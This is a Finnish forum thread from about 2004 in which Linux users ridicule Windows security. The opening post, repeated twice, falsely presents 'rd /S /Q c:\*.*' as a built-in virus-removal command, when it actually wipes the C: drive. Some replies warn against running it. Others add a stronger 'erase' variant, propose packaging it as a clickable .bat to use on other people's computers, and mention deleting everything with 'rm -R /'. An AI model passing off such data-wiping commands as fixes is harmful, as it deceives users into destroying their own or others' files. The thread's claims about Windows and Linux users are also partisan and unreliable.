Tässä kaikille esimerkki Windowsin ylivoimaisuudesta! Windows sisältää oman käskyn joka putsaa koneelta kaikki virukset ja haittaohjelmat ihan itsekseen!
avaa komentokehote -> käynnistä -> suorita kirjoita cmd.exe ja paina ok
Nyt anna komento cd \ ja paina enter
nyt anna komento rd /S /Q c:\*.* ja paina enter
Nyt saat kaiken pahan pois windows koneeltasi!
Todella turvallinen avaruusajan järjestelmä!
avaa komentokehote -> käynnistä -> suorita kirjoita cmd.exe ja paina ok
Nyt anna komento cd \ ja paina enter
nyt anna komento rd /S /Q c:\*.* ja paina enter
Nyt saat kaiken pahan pois windows koneeltasi!
Todella turvallinen avaruusajan järjestelmä!
Vastaukset 21
Vanhimmat
Tuo käsky poistaa systeemitiedostoja jota myös eräs troijalainen käyttää:
http://www.sophos.com/virusinfo/analyses/trojzapchasd.html
Antaako IE mahdollisuuden suorittaa tuon käskyn nettisivuilta? IE:hän sallii ainakin kiintolevyn selailun.
että älkää ajako tuota käskyä koneellanne. Se poistaa systeemitiedostoja jonka jälkeen kone ei tietenkään toimi. Tuolla Sophosin sivuilla on kuvaus eräästä troijalaisesta joka ajaa tuon saman käskyn. Katso kohdasta advanced.
Tuo käsky poistaa muutakin kuin systeemitiedostot. Komento tyhjentää C:\-levyn täysin.
Ei muuten poista kaikkia viruksia. MBR-virus jää henkiin :-)
FDISK /MBR
En tosin tiedä onko millainen osiointisofta XP:n mukana, vanhoissa kotiwinkuissa toi Fdisk löytyy.
terv. nimimerkki XP-vapaa, nyt ja tulevaisuudessakin.
Tietenkään ei kannata koittaa OMALLA koneella (eihän se edes pmalla koneella toimi), mutta entä muiden?
on erase komento vielä parempi!
esim c:\erase c:\*.* /f /s /q /a:rash
Tolla pääsee viimeistään eroon konetta vaivaavista viruksista!
Ja komennon voi suorittaa ilman pääkäyttäjän oikeuksia! Mitä tämä taas kertoo avaruusajan Windowsin turvallisuudesta?
Windowsin turvallisuus perustuu siis siihen, etteivät sen käyttäjillä yleensä riitä tietotaito komentotulkin käyttöön :-D
-LOL-
...snif..... LOL.....
^_^
..ettei Windowsissa mukamas ole tehokasta komentotulkkia:))
totuudentorvi ja seppot nyt puolustamassa avaruusajan järjestelmäänsä?
Taisivat poijjaat kokeilla tuota komentoa ja eivät nyt pääse tänne trollamaan ennenkuin on winkku asenettu uudelleen...taas...
Tossahan joutuu painaa kolme kertaa enteriä.?
Voihan siitä tehdä batin niin Windowskäyttäjätkin osaavat, sitten se toimii hiiren klikkauksella:)
Toki löytyy, IE riittää...
http://www.ficora.fi/suomi/tietoturva/cert.htm#2004-11-22_1050
22.11.2004, klo 10.50
Microsoft Internet Explorer IFRAME- haavoittuvuuden hyväksikäyttö
CERT-FI:n saamien tietojen mukaan uusia Microsoft Internet Explorer IFRAME -haavoittuvuuden hyväksikäyttömenetelmiä on julkisesti saatavilla. On huomioitavaa, että haavoittuvuuden hyväksikäyttö voi olla näiden uusien hyödyntämismenetelmien avulla mahdollista myös Microsoft Windows XP SP2:lla (Service Pack 2) varustetuissa tietojärjestelmissä.
IFRAME -haavoittuvuuteen ei ole tällä hetkellä olemassa korjaustiedostoa. Kunnes korjaustiedosto on saatavilla, CERT-FI suosittelee vaihtoehtoisen selainohjelman käyttöä.
Lisätietoa Microsoft IFRAME -haavoittuvuudesta on saatavilla mm. osoitteista:
http://www.lurhq.com/iframeads.html
http://isc.sans.org/diary.php?date=2004-11-20
Mitä rm -f -R / * tekee linuksissa, onko * pakollinen, onko rm komento itsessään kielletty kaikilta muilta kuin root tai super user käyttäjiltä?
Tuo rd /S /Q c:\*.* toimii vain jos on kirjautuneena järjestelmänvalvojaksi, esim. XP home editionin rajoitettu käyttäjätililtä itse rd toimii mutta se poistaa vain kansioita/ tiedostoja joita samassa istunnossa oleva käyttäjä on luonut.
SuSE 9.1 perusasetuksilla ==> rm: cannot remove ja riippuen onko tiedosto vai hakemisto, niin oma virheensä siihen asti kunnes tulee oma tiedosto!
kokeilin juuri ja sain koneen tolla erase komennolla käyttökelvottomaksi, (windows xp pro) ja olin kirjautuneeva normaalina käyttänäjä, ei vieras eikä admin.
Ja linuxssa koitin tavallisena käyttäjänä poistaa juuresta kaiken, ja sain aikaan vain oman kansioni sisällön poiston.
Että semmosta.
Windows antaa oletuksena käyttäjälle järjestelmänvalvojan oikeudet winkun asennuksen jälkeen. Kuinka moni kotikäyttäjä tekee muka asennuksen jälkeen itselleen rajoitetun käyttäjätilin tai edes normaalikäyttäjän tilin.
Usko jo että windows ei ole nähnytkään turvallista!
Mulla on tässä silmieni edessa Linux pohjainen boot levyke jolla menen kohta murtamaan INFO pisteen windows Xp pro koneen salasanan jonka joku oli innoissaan vaihtanut ja unohtanut. Niin ja tähän windows xp pro koneen salasanan murtamiseen menee noin 30 sec aikaa.
Murrappa samalla tavalla linux kone senkin torspo!
Ja olen siis maininnut tästä varmaan aiemmin mutta mun MCP ohjaajanikin on sitä mieltä että Microsoftissa ja Winkussa on jotain pahasti vialla. Ja jos seppot ei nyt tiedä mikä on MCP niin se on M$ oma sertifikaatti, M$ sertified professional. Niin, vaikka olen Linux käyttäjä, hommaan M$ sertifikaatin ihan huvikseni, helppo saada ja ei tarttee siitä itse maksaa kun kuuluu työpaikan koulutusprojektiin.
Niin ja 100% Linux käyttäjistä tietää enemmän myös Winkku maailmasta kuin winkku käyttäjät.
Vihdoin tuli jonkun suusta lausuttua ääneen totuus, joka on hiljaisesti ollut kaikkien tiedossa.
Allekirjoitan täysin oletuksen, että 100% kaikilla Linux-käyttäjillä on pohjalla keskivertoa parempi osaaminen M$ -käyttiksestä, joka lienee ollut myös suurimpana syynä käyttiksen vaihtoon, ja uskallanpa vielä lisätä, että monella Linuxin käyttäjillä on koneellaan myös joku M$-versio, tarpeeseen tai tarpeettomasti, joten mitään mullistavaa tietoa on tuskin jäänyt huomaamatta.
Tämän asian kun pitää mielessä, niin Mikkis-intoilijat voisivat hieman miettiä, minkälaiselle kohderyhmälle tarjoavat käsityksiään käyttöjärjestelmien ominaisuuksista.
Lueskelin vähän kirjoituksia tuosta IE-selain ongelmasta, ja winkun-käyttäjien keskuudessa tuntuu olevan selaimenvaihtobuumi käynnissä.
Suurimpana ongelmana näyttää olevan, että " selain on nyt asennettu, mitä minä nyt teen, mistä pitää näpäyttää hiirellä, että tää sitten toimis " ! ! ? ?
Oletteko kuulleet samanlaisia kysymyksiä Linux-palstalla ? ?
Niinpä!
Linux palstalla näkee eniten kirjotuksia joissa kysellään suurimmaksi osaksi susen ja mandraken asennuksessa ja käyttössä olevia pikku ongelmia. Ja nekään ongelmat eivät ole mitään maailmaa mullistavia. Näitä siis kysyvät ne jotka ovat ekaa kertaa linuxia kokeilemassa. Muut keskustelut sitten ovatkin winkku käyttäjille täyttä hebreaa.
Winkku keskusteluissa taas suurin osa keskusteluista koskee sitä kuinka kone ei enää toimi SP2 asennuksen jälkeen tai mistä löytyy sitä ja tätä warea yms.
esimerkkinä tavallisen winkku käyttäjän ongelmasta olisi tämä tosi tapaus tuttava piiristäni:
Kaveri soitteli ja valitti kun ei saa jotain ohjelmaa X asenettua vaikka kuinka koittas.
Menin paikan päälle katsastamaan ja kaveri näytti kuinka asenti ohjelman mutta mitään ei muka tapahdu asennusken jälkeen.
Siis tämä asennus epäonnistui hänen mielestään koska ohjelma ei tehnyt pikakuvaketta työpöydälle eikä valikkoa käynnistä valikkoon.
Ohjelma oli asennettu ja käynnistyi normaalisti c:\program files kansiosta josta sitten tein pikakuvakkeen työpöydälle.
Oppi kaverikin jotain uutta! Ja oli muuten omistanut tietokoneen jo pari vuotta.....
Ja tosiaan winkku kannattajien on turha koettaa selittää linux käyttäjille miksi wintööt olisi parempi koska 100% linux käyttäjistä on winkkua käyttänyt ja osaa sen taatusti pintaa syvemmältä. Ja se pintaa syvemmältä tuntemus saakkin sitten siirtymään Linuxiin kun huomaa miten onneton jekkulanka jeesusteippi viritys winkku oikeasti on.